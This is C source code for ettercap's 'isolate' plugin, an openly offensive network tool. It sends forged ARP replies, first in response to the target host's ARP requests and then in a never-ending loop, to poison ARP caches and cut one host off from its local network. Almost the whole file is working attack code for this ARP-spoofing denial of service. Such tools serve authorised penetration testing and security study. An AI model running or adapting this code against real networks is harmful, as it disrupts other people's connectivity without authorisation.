1 /*
2 isolate -- ettercap plugin -- Isolate an host from the lan
3
4 Copyright (C) ALoR & NaGA
5
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2 of the License, or
9 (at your option) any later version.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19
20 */
21
22
23 #include <ec.h> /* required for global variables */
24 #include <ec_plugins.h> /* required for plugin ops */
25 #include <ec_packet.h>
26 #include <ec_hook.h>
27 #include <ec_send.h>
28 #include <ec_threads.h>
29 #include <ec_sleep.h>
30
31 /* globals */
32
33 LIST_HEAD(, hosts_list) victims;
34
35 /* protos */
36 int plugin_load(void *);
37 static int isolate_init(void *);
38 static int isolate_fini(void *);
39
40 static void parse_arp(struct packet_object *po);
41 static int add_to_victims(struct packet_object *po);
42 EC_THREAD_FUNC(isolate);
43
44 /* plugin operations */
45
46 struct plugin_ops isolate_ops = {
47 /* ettercap version MUST be the global EC_VERSION */
48 .ettercap_version = EC_VERSION,
49 /* the name of the plugin */
50 .name = "isolate",
51 /* a short description of the plugin (max 50 chars) */
52 .info = "Isolate an host from the lan",
53 /* the plugin version. */
54 .version = "1.0",
55 /* activation function */
56 .init = &isolate_init,
57 /* deactivation function */
58 .fini = &isolate_fini,
59 };
60
61 /**********************************************************/
62
63 /* this function is called on plugin load */
plugin_load(void * handle)64 int plugin_load(void *handle)
65 {
66 return plugin_register(handle, &isolate_ops);
67 }
68
69 /******************* STANDARD FUNCTIONS *******************/
70
isolate_init(void * dummy)71 static int isolate_init(void *dummy)
72 {
73 struct ip_list *t;
74
75 /* variable not used */
76 (void) dummy;
77
78 /* sanity check */
79 if (LIST_EMPTY(&EC_GBL_TARGET1->ips) && LIST_EMPTY(&EC_GBL_TARGET1->ip6)) {
80 INSTANT_USER_MSG("isolate: please specify the TARGET host\n");
81 return PLUGIN_FINISHED;
82 }
83
84 /*
85 * we'll use arp request to detect the hosts the victim
86 * is trying to contact.
87 */
88 hook_add(HOOK_PACKET_ARP_RQ, &parse_arp);
89
90 /* spawn a thread to force arp of already cached hosts */
91 LIST_FOREACH(t, &EC_GBL_TARGET1->ips, next) {
92 ec_thread_new("isolate", "Isolate thread", &isolate, t);
93 }
94
95 return PLUGIN_RUNNING;
96 }
97
98
isolate_fini(void * dummy)99 static int isolate_fini(void *dummy)
100 {
101 pthread_t pid;
102 struct hosts_list *h, *tmp;
103
104 /* variable not used */
105 (void) dummy;
106
107 /* remove the hook */
108 hook_del(HOOK_PACKET_ARP_RQ, &parse_arp);
109
110 /* get those pids and kill 'em all */
111 while(!pthread_equal(pid = ec_thread_getpid("isolate"), ec_thread_getpid(NULL)))
112 ec_thread_destroy(pid);
113
114 /* free the list */
115 LIST_FOREACH_SAFE(h, &victims, next, tmp) {
116 SAFE_FREE(h);
117 LIST_REMOVE(h, next);
118 }
119
120 return PLUGIN_FINISHED;
121 }
122
123 /*********************************************************/
124
125 /* Parse the arp packets */
parse_arp(struct packet_object * po)126 static void parse_arp(struct packet_object *po)
127 {
128 char tmp[MAX_ASCII_ADDR_LEN];
129 struct ip_list *t, *h;
130 /*
131 * this is the mac address used to isolate the host.
132 * usually is the same as the victim, but can be an
133 * non-existent one.
134 * modify at your choice.
135 */
136 u_char *isolate_mac = po->L2.src;
137
138 LIST_FOREACH(h, &EC_GBL_TARGET1->ips, next) {
139 /* process only arp requests from this host */
140 if (!ip_addr_cmp(&h->ip, &po->L3.src)) {
141 int good = 0;
142
143 /* is good if target 2 is any or if it is in the target 2 list */
144 if(EC_GBL_TARGET2->all_ip) {
145 good = 1;
146 } else {
147 LIST_FOREACH(t, &EC_GBL_TARGET2->ips, next)
148 if (!ip_addr_cmp(&t->ip, &po->L3.dst))
149 good = 1;
150 }
151
152 /* add to the list if good */
153 if (good && add_to_victims(po) == E_SUCCESS) {
154 USER_MSG("isolate: %s added to the list\n", ip_addr_ntoa(&po->L3.dst, tmp));
155 /* send the fake reply */
156 send_arp(ARPOP_REPLY, &po->L3.dst, isolate_mac, &po->L3.src, po->L2.src);
157 }
158 }
159 }
160 }
161
162 /*
163 * add a victim to the list for the active thread.
164 */
add_to_victims(struct packet_object * po)165 static int add_to_victims(struct packet_object *po)
166 {
167 struct hosts_list *h;
168
169 /* search if it was already inserted in the list */
170 LIST_FOREACH(h, &victims, next)
171 if (!ip_addr_cmp(&h->ip, &po->L3.src))
172 return -E_NOTHANDLED;
173
174 SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
175
176 memcpy(&h->ip, &po->L3.dst, sizeof(struct ip_addr));
177 /* insert in the list with the mac address of the requester */
178 memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN);
179
180 LIST_INSERT_HEAD(&victims, h, next);
181
182 return E_SUCCESS;
183 }
184
185 /*
186 * the real isolate thread
187 */
EC_THREAD_FUNC(isolate)188 EC_THREAD_FUNC(isolate)
189 {
190 struct hosts_list *h;
191 struct ip_list *t;
192
193 /* init the thread and wait for start up */
194 ec_thread_init();
195
196 /* get the host to be isolated */
197 t = args;
198
199 /* never ending loop */
200 LOOP {
201
202 CANCELLATION_POINT();
203
204 /* walk the lists and poison the victims */
205 LIST_FOREACH(h, &victims, next) {
206 /* send the fake arp message */
207 send_arp(ARPOP_REPLY, &h->ip, h->mac, &t->ip, h->mac);
208
209 ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay));
210 }
211
212 /* sleep between two storms */
213 ec_usleep(SEC2MICRO(EC_GBL_CONF->arp_poison_warm_up * 3));
214 }
215
216 return NULL;
217 }
218
219 /* EOF */
220
221 // vim:ts=3:expandtab
222
223